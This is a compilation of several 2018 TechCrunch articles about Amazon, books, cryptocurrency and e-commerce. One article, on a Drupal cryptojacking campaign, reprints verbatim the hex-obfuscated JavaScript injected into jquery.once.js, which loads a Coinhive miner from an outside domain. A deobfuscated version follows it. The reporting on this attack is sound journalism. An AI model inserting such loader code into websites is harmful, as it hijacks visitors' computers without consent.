Carter, according to the Digital Reader, would create large novels out of other books. The books, which were simple hack jobs written by Fiverr writers, were hundreds of pages long and, on the first page, featured a recommendation to flip to the last page to get a free giveaway. KDP pays authors for both paid downloads as well as for pages read and it doesn’t sense reading speed, just the highest number of pages reached. Therefore Chance’s “readers” were instantly sending him or her about twenty dollars a read.

The way that the book-stuffing con works is that scammers stuff lots of extra content into an ebook before uploading it to Kindle Unlimited, and then trick readers into jumping to the end of the book.

Thanks to a flaw in the Kindle platform, namely that the platform knows your location in a book but not how many pages you have actually read, the scammers can get paid for a user having “read” a book in Kindle Unlimited by getting the user to jump to the last page.

So how are clever authors getting around Amazon's new review policies? By giving readers a chance to win some Tiffany jewelry of course. All you have to do is purchase & review Chance's new book on Amazon. This is so ridiculous pic.twitter.com/k3l9Z25jPa

— nikki (@ease_dropper) May 30, 2018

This sort of KDP scam is actually quite unusual. Amazon has worked to prevent scams like these from taking cash out of the KDP “pool” – a multi-million dollar account that is passed out to the best KDP authors – but this one was so long-running and ingenious that it’s not surprising that it took so long to pull these books from the store. Interestingly, the flip-to-end scam doesn’t quite work on newer Kindles but still works on older, non-updated Kindles which makes it still a lucrative scam.

Chance, for his part, offered free Tiffany jewelry if you flipped to the end of his books. This was, obviously, against KDP rules.

Carter and his books are gone but books stuffers like him still exist. While it’s not a crime per se, it does muddy the Kindle ebook waters and brings garbage content into the market. While most of us wouldn’t fall for these cynical tricks, plenty will and that makes it a danger to readers and a boon to scammers.

from Amazon – TechCrunch https://techcrunch.com/2018/06/11/notorious-kindle-unlimited-abuser-has-been-booted-from-the-bookstore/

Cleveland offered $120 million in freebies lure Amazon to the city

A Cleveland.com article detailed the lengths the small midwestern city would go to lure Amazon’s in 50,000-person HQ2. In a document obtained by reporter Mark Naymik, we learn that Cleveland was ready to give over $120 million in free services to Amazon including considerably reduced fares on Cleveland-area trains and buses.

The document, available here, focuses on the Northeast Ohio Areawide Coordinating Agency (NOACA)’s ideas regarding the key component in many of Amazon’s decisions – transportation.

Ohio has a budding but often tendentious connection to public transport. Cities like Columbus have no light rail while Cincinnati just installed a rudimentary system. Cleveland, for its part, has a solid if underused system already in place.

That the city would offer discounts is not surprising. Cities were falling over themselves to gain what many would consider – including Amazon itself – a costly incursion on the city chosen. However, given the perceived importance of having Amazon land in a small city – including growth of the startup and tech ecosystems – you can see why Cleveland would want to give away plenty of goodies.

Ultimately the American Midwest is at a crossroads. It could go either way, with small cities growing into vibrant artistic and creative hubs or those same cities falling into further decline. And the odds are stacked against them.

The biggest city, Chicago, is a transport, finance, and logistics hub and draws talent from smaller cities that orbit it. Further, “smart” cities like Pittsburgh and Ann Arbor steal the brightest students who go on to the coasts after graduation. As Richard Florida noted, the cities with a vibrant Creative Class are often the ones that succeed in this often rigged race and many cities just can’t generate any sort of creative ecosystem – cultural or otherwise – that could support a behemoth like Amazon landing in its midst.

What Cleveland did wasn’t wrong. However, it did work hard to keep the information secret, a consideration that could be dangerous. After all, as Maryland Transportation Secretary Pete K. Rahn told reporters: “Our statement for HQ2 is we’ll provide whatever is necessary to Amazon when they need it. For all practical purposes, it’s a blank check.”

from Amazon – TechCrunch https://techcrunch.com/2018/05/11/cleveland-offered-120-million-in-freebies-lure-amazon-to-the-city/

Outdated website software lets hackers mine cryptocurrencies at your expense

An outdated version of Drupal, a popular content management system, let hackers mine the cryptocurrency Monero on over 300 websites including the websites for the “San Diego Zoo and the government of Chihuahua, Mexico.” A report by Troy Mursch outlined how the hack worked and even showed how much processing power browsers began taking up when they pointed at the hacked sites.

#Coinhive found on the website of the San Diego Zoo (@sandiegozoo) in the latest high-profile case of #cryptojacking. pic.twitter.com/B3rd2Q5uVA

— Bad Packets Report (@bad_packets) May 4, 2018

The hack uses a form of code injection that forces the browser to run Coinhive, a small bit of Javascript-based mining software. The code mines Monero, the ostensibly anonymous cryptocurrency.

The hacked sites all pointed to a URL – “http://vuuwd.com/t.js” – where Coinhive lived. The browser ran the software and began using up CPU power to mine the coin.

Mursch performed a comprehensive search for potentially affected sites and narrowed things down to about 350 sites, all of them running older versions of Drupal.

“The affected sites varied by hosting providers and countries and no specific one appeared to be targeted. The most unique domains were found in the United States and were hosted by Amazon,” he wrote.

The code appears at the end of jquery.once.js and is still visible on this site. It consists of a single line:

var dZ1= window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x73\x42\x79\x54\x61\x67\x4e\x61\x6d\x65"]('\x68\x65\x61\x64')[0]; var ZBRnO2= window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74"]('\x73\x63\x72\x69\x70\x74'); ZBRnO2["\x74\x79\x70\x65"]= '\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74'; ZBRnO2["\x69\x64"]='\x6d\x5f\x67\x5f\x61';ZBRnO2["\x73\x72\x63"]= '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x76\x75\x75\x77\x64\x2e\x63\x6f\x6d\x2f\x74\x2e\x6a\x73'; dZ1["\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64"](ZBRnO2);

Which, deobfuscated, translates to:

'use strict';
var dZ1 = window["document"]"getElementsByTagName"[0];
var ZBRnO2 = window["document"]"createElement";
/** @type {string} */
ZBRnO2["type"] = "text/javascript";
/** @type {string} */
ZBRnO2["id"] = "m_g_a";
/** @type {string} */
ZBRnO2["src"] = "https://vuuwd.com/t.js";
dZ1"appendChild";

The domain it calls, vuuwd.com, is down.

BadPackets has a full list of the hacked websites and, as evidenced by the lines above, it doesn’t seem that many folks are rushing to fix their sites. A canonical list appears here.”

“Notable sites include those of Lenovo, UCLA, DLink (Brazil), and Office of Inspector General of the U.S. Equal Employment Opportunity Commission (EEOC) — a US federal government agency,” wrote Mursch.

from Amazon – TechCrunch https://techcrunch.com/2018/05/09/outdated-website-software-lets-hackers-mine-cryptocurrencies-at-your-expense/

Barnes & Noble teeters in a post-text world

Barnes & Noble, that once proud anchor to many a suburban mall, is waning. It is not failing all at once, dropping like the savaged corpse of Toys “R” Us, but it also clear that its cultural moment has passed and only drastic measures can save it from joining Waldenbooks and Borders in the great, paper-smelling ark of our book-buying memory. I’m thinking about this because David Leonhardt at The New York Times calls for B&N to be saved. I doubt it can be.

First, there is the sheer weight of real estate and the inexorable slide away from print. B&N is no longer a place to buy books. It is a toy store with a bathroom and a cafe (and now a restaurant?), a spot where you’re more likely to find Han Solo bobbleheads than a Star Wars novel. The old joy of visiting a bookstore and finding a few magical books to drag home is fast being replicated by smaller bookstores where curation and provenance are still important while B&N pulls more and more titles. To wit:

"Save Barnes & Noble" is trending. assuming they mean the store that got rid of half their books and mostly sells toys now, and which literally did not have copies of Newsweek when I went there specifically to buy an issue of Newsweek I was in

— drewtoothpaste (@drewtoothpaste) May 7, 2018

But does all of this matter? Will the written word — what you’re reading right now — survive the next century? Is there any value in a book when VR and AR and other interfaces can recreate what amounts to the implicit value of writing? Why save B&N if writing is doomed?

Indulge me for a moment and then argue in comments. I’m positing that B&N’s failure is indicative of a move towards a post-text society, that AI and new media will redefine how we consume the world and the fact that we see more videos than text on our Facebook feed – ostensibly the world’s social nervous system – is indicative of this change.

First, some thoughts on writing versus film. In his book of essays, Distrust That Particular Flavor, William Gibson writes about the complexity and education and experience needed to consume various forms of media:

The book has been largely unchanged for centuries. Working in language expressed as a system of marks on a surface, I can induce extremely complex experiences, but only in an audience elaborately educated to experience this. This platform still possesses certain inherent advantages. I can, for instance, render interiority of character with an ease and specificity denied to a screenwriter.

But my audience must be literate, must know what prose fiction is and understand how one accesses it. This requires a complexly cultural education, and a certain socioeconomic basis. Not everyone is afforded the luxury of such an education.

But I remember being taken to my first film, either a Disney animation or a Disney nature documentary (I can’t recall which I saw first), and being overwhelmed by the steep yet almost instantaneous learning curve: In that hour, I learned to watch film.

This is a deeply important idea. First, we must appreciate that writing and film offer various value adds beyond linear storytelling. In the book, the writer can explore the inner space of the character, giving you an imagined world in which people are thinking, not just acting. Film — also a linear medium — offers a visual representation of a story and thoughts are inferred by dint of their humanity. We know a character’s inner life thanks to the emotion we infer from their face and body.

This is why, to a degree, the CGI human was so hard to make. Thanks to books, comics, and film we, as humans, were used to giving animals and enchanted things agency. Steamboat Willie mostly thought like us, we imagined, even though he was a mouse with big round ears. Fast-forward to the dawn of CGI humans — think Sid from Toy Story and his grotesque face — and then fly even further into the future Leia looking out over a space battle and mumbling “Hope” and you see the scope of achievement in CGI humans as well as the deep problems with representing humans digitally. A CGI car named Lightning McQueen acts and thinks like us while a CGI Leia looks slightly off. We cannot associate agency with fake humans, and that’s a problem.

Thus we needed books to give us that inner look, that frisson of discovery that we are missing in real life.

But soon — and we can argue that films like Infinity War prove this — there will be no uncanny valley. We will be unable to tell if a human on screen or in VR is real or fake and this allows for an interesting set of possibilities.

First, with VR and other tricks, we could see through a character’s eyes and even hear her thoughts. This interiority, as Gibson writes, is no longer found in the realm of text and is instead an added attraction to an already rich medium. Imagine hopping from character to character, the reactions and thoughts coming hot and heavy as they move through the action. Maybe the story isn’t linear. Maybe we make it up as we go along. Imagine the remix, the rebuild, the restructuring.

Gibson again:

This spreading, melting, flowing together of what once were distinct and separate media, that’s where I imagine we’re headed. Any linear narrative film, for instance, can serve as the armature for what we would think of as a virtual reality, but which Johnny X, eight-year-old end-point consumer, up the line, thinks of as how he looks at stuff. If he discovers, say, Steve McQueen in The Great Escape, he might idly pause to allow his avatar a freestyle Hong Kong kick-fest with the German guards in the prison camp. Just because he can. Because he’s always been able to. He doesn’t think about these things. He probably doesn’t fully understand that that hasn’t always been possible.

In this case B&N and the bookstore don’t need to exist at all. We get the depth of books with the vitality of film melded with the immersion of gaming. What about artisanal book lovers, you argue, they’ll keep things alive because they love the feel of books.

When that feel — the scent, the heft, the old book smell — can be simulated do we need to visit a bookstore? When Amazon and Netflix spend millions to explore new media and are sure to branch out into more immersive forms do you need to immerse yourself in To The Lighthouse? Do we really need the education we once had to gain in order to read a book?

We know that Amazon doesn’t care about books. They used books as a starting point to taking over e-commerce and, while the Kindle is the best system for e-books in existence, it is an afterthought compared to the rest of the business. In short, the champions of text barely support it.

Ultimately what I posit here depends on a number of changes coming all at once. We must all agree to fall headfirst into some share hallucination the replaces all other media. We must feel that that world is real enough for us to abandon our books.

It’s up to book lovers, then, to decide what they want. They have to support and pay for novels, non-fiction, and news. They have to visit small booksellers and keep demand for books alive. And they have to make it possible to exist as a writer. “Publishers are focusing on big-name writers. The number of professional authors has declined. The disappearance of Borders deprived dozens of communities of their only physical bookstore and led to a drop in book sales that looks permanent,” writes Leonhardt and he’s right. There is no upside for text slingers.

In the end perhaps we can’t save B&N. Maybe we let it collapse into a heap like so many before it. Or maybe we fight for a medium that is quickly losing cachet. Maybe we fight for books and ensure that just because the big guys on the block can’t make a bookstore work the rest of us don’t care. Maybe we tell the world that we just want to read.

I shudder to think what will happen if we don’t.

from Amazon – TechCrunch https://techcrunch.com/2018/05/07/barnes-noble-teeters-in-a-post-text-world/

A minor cryptocurrency partners with a major porn network. What could go wrong?

Yesterday brought some interesting news in the cryptocurrency space. In a move that is at once sleazy and ridiculous, PornHub and its tech arm MindGeek announced a partnership with the creators of VergeCoin (XVG), an anonymized cryptocurrency in the vein of Monero that is currently trading at 7 cents, down from an all-time high of about 26 cents during a recent pump.

XVG is an epitome of a coin driven by mania. Originally billed as DogecoinDark in 2014, the currency has had some ups and downs but has always displayed the “move fast and break things” mentality that gives cryptocurrencies a bad name. The product is so hapless it can’t even get their Wikipedia entry right.

The currency developers recently beseeched its rabid fans — many of whom have been waxing confused on Reddit — to raise $2 million to build a secret partnership. Weeks of speculation followed as Vergins speculated about partners, including eBay and Amazon. The price went up and down and has settled below 10 cents, placing it at position 23 on the CoinMarketCap list. It’s doing well, but not great.

Yesterday the big announcement came, as it were. I received a few emails from PornHub PR announcing a crypto partnership but they refused to announce the currency. Now that the currency is officially announced, I’m sure there are some folks who are upset they bought a load of Titcoin.

Verge has partnered with PornHub to allow users to pay with the currency. Why? And why would you want to? This is unclear. Presumably the currency allows you to pay completely anonymously but you still have to acquire Verge to pay with Verge and associating a currency with porn pretty much gives the game away as to why you’d spend it. Further, the extensive marketing efforts make PornHub look far more interesting than Verge, especially since Verge shares the same name with the Verge tech site, something that is bound to confuse average buyers. Finally, you get no real benefit from paying with Verge and, in fact, you can’t get your Verge refunded if you decide you no longer want to pay $9.99 a month for premium PR()N.

Ultimately this is better for porn than it is for cryptocurrency. PornHub gets a little bit of a media boost and cryptocurrencies — including Bitcoin, Ether and ICO tokens — look like the only source for porn. While VHS and the internet grew out of porn, cryptocurrencies are already well-established and they don’t need any more “sin” associated with them. You can also pay for a number of services with crypto, including Flirt4Free, a cam girl site associated with LiveJasmin. Given that a series of stars in big trucks will be rolling through the U.S. over the next few months promoting cryptocurrencies — that $2 million had to go somewhere — it could be positive for crypto uptake but very bad for crypto perception.

While I agree that crypto needs a shot in the arm and a sense of mission, I doubt making it easier to see naked people is quite it. I’d like to see real remittances, real real estate transactions and even real voting systems put in place. Until then, however, stunts like this do little to help.

from Amazon – TechCrunch https://techcrunch.com/2018/04/18/a-minor-cryptocurrency-partners-with-a-major-porn-network-what-could-go-wrong/

New federal rules blamed in disappearance of Kindle erotica titles

The upcoming Fight Online Sex Trafficking Act, in addition to making Microsoft move to reduce obscenity on its platform, has hit erotica authors on Amazon. After many authors saw their rankings stripped on the Kindle store, essentially reducing their availability and visibility, while forcing others in the romance category to recategorize or get dinged as well.

The Digital Reader followed the changes this week, reporting that “I have seen numerous reports on Facebook, KBoards, and elsewhere that Amazon has adopted a new policy where some romance titles, most notably those titles that Amazon has identified as erotica, have been removed from the Kindle Store best-seller list.” Amazon’s changes began on March 22.

Delisting titles from the Amazon Kindle store essentially buries them completely, leading to massive revenue loss for indie authors. One author received a note from KDP – Kindle Direct Publishing – discussing the changes:

I’m following up concerning some of your books missing their best sellers ranking.

After hearing from our technical team we have confirmed that this is due to a recent update to the filter option for Erotica ebooks.

All adult themed titles will be filtered from the main category sales rank as part of this update. However, you will still continue to keep all of your category rankings. I know this wasn’t the answer you were looking for but appreciate your understanding on this policy.

Please let us know if you have any further questions.

The FOSTA Bill is ostensibly about preventing online sex trafficking and has already caused Craigslist to shut down its online personals. However, it can also be construed as a bill that prevents sexual material of all kinds from receiving ready distribution online, a fact that is giving some big content providers pause. The Digital Reader notes that “the change in policy only affects the main Amazon site, and not other sites like Amazon UK.”

I have reached out to authors and Amazon for further comment.

from Amazon – TechCrunch https://techcrunch.com/2018/03/29/new-federal-rules-blamed-in-disappearance-of-kindle-erotica-titles/

Apple doubles down on book creation with iPad app

Apple’s ebook creation tools – first launched in 2012 – have long played an interesting if minor role in the ecosystem. While Amazon has the indie book world sewn up with Kindle Direct Publishing, the desktop-based iBooks Author has always been the multimedia alternative and a favorite for folks creating one-off texts. Although there are no clear numbers (the last announcement happened in 2015 when Apple claimed seeing 1 million new iBooks users per week), there is some evidence that it behooves indie authors to at least support the platform and with the new iPad Author tools it looks like creators – and educators – will be able to create and distribute their own iPad-based texts.

The app, which is part of Pages and is called Digital Books in new iOS parlance, allows users to create multimedia books just as they would create regular documents. The app also supports group editing and multiple templates allow you to flow images and text into the app seamlessly.

The new application is a direct attack on the current popular educational authoring tool, Google Docs. Anecdotally, the Brooklyn schools my kids attend all finish and turn in their homework via the schools own private Google accounts, a fact that probably keeps iOS educational team leads up at night. This move from a dedicated desktop app mostly aimed at indie authors and higher education to an iPad app aimed at small groups and, presumably, elementary and high school teachers who want to produce their own lightweight content, is a step in the right direction.

from Amazon – TechCrunch https://techcrunch.com/2018/03/27/apple-doubles-down-on-book-creation-with-ipad-app/